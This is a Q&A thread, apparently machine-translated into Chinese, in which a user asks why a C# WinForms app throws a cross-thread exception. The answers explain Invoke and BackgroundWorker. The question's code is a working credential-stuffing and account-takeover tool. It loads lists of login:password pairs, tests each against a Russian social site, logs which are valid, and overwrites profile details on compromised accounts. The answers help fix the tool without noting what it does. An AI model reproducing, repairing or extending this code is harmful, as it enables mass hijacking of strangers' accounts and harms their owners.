我正在尝试从后台工作进程更新Windows窗体控件,如下面的代码所示。不幸的是,我收到以下错误:
跨线程操作无效:控制'richTextBox1'从其创建的线程以外的线程访问。
以下是我正在使用的代码:
using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.Linq;
using System.Text;
using System.Windows.Forms;
using System.Net;
using System.IO;
using System.Text.RegularExpressions;
namespace WindowsFormsApplication1 {
public partial class Form1 : Form {
private CookieContainer cookies;
public Form1() {
InitializeComponent();
backgroundWorker1.DoWork +=
new DoWorkEventHandler(backgroundWorker1_DoWork);
}
public string od_auth(string s) {
if (s.Contains(":")) {
string[] acc = s.Split(':');
cookies = new CookieContainer();
HttpWebResponse res;
try {
HttpWebRequest req =
(HttpWebRequest)HttpWebRequest.Create(
"http://m.site.ru/dk?" +
"bk=GuestMain" +
"&st.cmd=main" +
"&tkn=1110" +
"&fr.posted=set" +
"&fr.needCaptcha=" +
"&fr.login=" + acc[0] +
"&fr.password=" + acc[1] +
"&fr.remember=on" +
"&button_login=%D0%92%D0%BE%D0%B9%D1%82%D0%B8"
);
req.AllowAutoRedirect = false;
req.Method = "HEAD";
req.CookieContainer = cookies;
req.UserAgent = "Opera/9.80 (Windows NT 6.1; U; ru) " +
"Presto/2.2.15 Version/10.10";
req.ContentType = "application/x-www-form-urlencoded";
res = (HttpWebResponse)req.GetResponse();
res.Close();
string cook = "";
try {
if (res.Headers["Location"].Contains("cmd=userMain")) {
cook = "AUTHCODE=" + Regex.Match(res.Headers["Set-Cookie"], @"HCODE=(?<id>[^;]+);").Groups["id"].Value + "; ";
cook += "JSESSIONID=" + Regex.Match(res.Headers["Set-Cookie"], @"ESSIONID=(?<id>[^;]+);", RegexOptions.RightToLeft).Groups["id"].Value + ";";
richTextBox1.Text += "[+] Авторизовались успешно на " + acc[0] + ":" + acc[1] + "\r\n";
return cook;
} else {
cook = "badacc";
richTextBox1.Text += "[-] Аккаунт " + acc[0] + ":" + acc[1] + " невалидный\r\n";
return cook;
}
} catch {
cook = "badacc";
richTextBox1.Text += "[-] Аккаунт " + acc[0] + ":" + acc[1] + " невалидный\r\n";
return cook;
}
}
catch { richTextBox1.Text += "[?] network error \r\n"; ;return "err"; }
}
richTextBox1.Text += "[?] some error \r\n";
return "err";
}
public void od_info_changer(string cook) {
HttpWebRequest request = (HttpWebRequest)WebRequest.Create("http://m.site.ru/dk?bk=UserSettingsProfile&st.cmd=userSettingsProfile&tkn=2154");
request.Method = "POST";
request.Headers.Add("Cookie: "+cook);
request.AllowAutoRedirect = false;
request.ContentType = "application/x-www-form-urlencoded";
byte[] EncodedPostParams = Encoding.UTF8.GetBytes("fr.posted=set&fr.name=D1%8F&fr.surname=%D0&fr.gender=1&fr.birthday=12&fr.bmonth=10&fr.byear=1949&fr.country=10414533690&fr.city=%D0%95%D0%BA%D0%B0%D1%82%D0%B5%D1%80%D0%B8%D0%BD%D0%B1%D1%83%D1%80%D0%B3&button_save=%D0%A1%D0%BE%D1%85%D1%80%D0%B0%D0%BD%D0%B8%D1%82%D1%8C");
request.ContentLength = EncodedPostParams.Length;
request.GetRequestStream().Write(EncodedPostParams, 0, EncodedPostParams.Length);
request.GetRequestStream().Close();
HttpWebResponse response = (HttpWebResponse)request.GetResponse();
string html = new StreamReader(response.GetResponseStream(), Encoding.UTF8).ReadToEnd();
if (response.Headers["Location"].IndexOf("st.cmd=userSettings") != -1) {
richTextBox1.Text += "[+] Cменили пароль\r\n";
} else {
richTextBox1.Text += "[-] Не смогли сменить имя\r\n";
}
}
List<string> accs=new List<string>();
private void открытьАккаунтыToolStripMenuItem_Click(object sender, EventArgs e) {
OpenFileDialog openFileDialog1 = new OpenFileDialog();
openFileDialog1.Filter = "txt files (*.txt)|*.txt|All files (*.*)|*.*";
if (openFileDialog1.ShowDialog() == DialogResult.OK) {
accs.Clear();
foreach (string s in File.ReadAllLines(openFileDialog1.FileName))
accs.Add(s);
richTextBox1.Text += "[+] Загрузили " + accs.Count.ToString() + " аккаунтов\n";
}
}
private void Auth_Click(object sender, EventArgs e) {
Auth.Enabled = false; // На время расчета блокируем опасные кнопки
backgroundWorker1.RunWorkerAsync();
}
public void go() {
foreach (string acc in accs) {
string cook = od_auth(acc);
if (cook!="badacc")
od_info_changer(cook);
}
}
private void backgroundWorker1_DoWork(object sender, DoWorkEventArgs e) {
go();
}
}
}
但是,在加载.txt
文件并按下我的按钮后,我会收到:
出了什么问题?
答案 0 :(得分:3)
您无法直接从后台线程更新控件。您需要调用回主线程并在那里执行操作:
delegate void updateDelegate(string val);
private void UpdateText(string updateVal)
{
if (richTextBox1.InvokeRequired)
richTextBox1.Invoke(new updateDelegate(UpdateText), updateVal);
else
richTextBox1.Text += updateVal;
}
然后在后台工作人员代码中,您可以调用richTextBox1.text
方法,而不是设置UpdateText
。
UpdateText("Whatever Value you want");
答案 1 :(得分:2)
您正在尝试与后台任务中的UI控件进行交互。你不能这样做。您需要放置需要一段时间才能运行的代码(在本例中为HTTP请求),并且不与DoWork
处理程序中的UI交互,并且在RunWorkerCompleted
中显示结果的代码事件处理程序。已完成的事件将始终在UI线程中运行,进度更改事件也将如此。
当您需要定期从后台任务更新UI时,通常会指示进度已更改。在这种情况下,您可以订阅相关的进度更改事件,然后通过ReportProgress
定期将当前进度传递给后台工作人员。
您可以在UI控件上使用Invoke
来编组后台线程中的UI线程,但是您应该避免在大多数情况下这样做。使用BackgroundWorker
的全部原因是为了照顾您。您的工作只是将适当的代码放在适当的事件处理程序中。如果你需要使用Invoke
来处理一些奇怪的边缘情况,这有时会更容易,但是如果你经常使用它,那就表明你没有正确使用现有的更高级别的抽象。
答案 2 :(得分:0)
如果您希望从后台工作者处理您的表单,则应使用Control.Invoke
。 Here是解释和一些例子。
答案 3 :(得分:0)
你必须安全地调用:
if (richtextBox1.InvokeRequired)
{
richtextBox1.Invoke(//Delegate);
}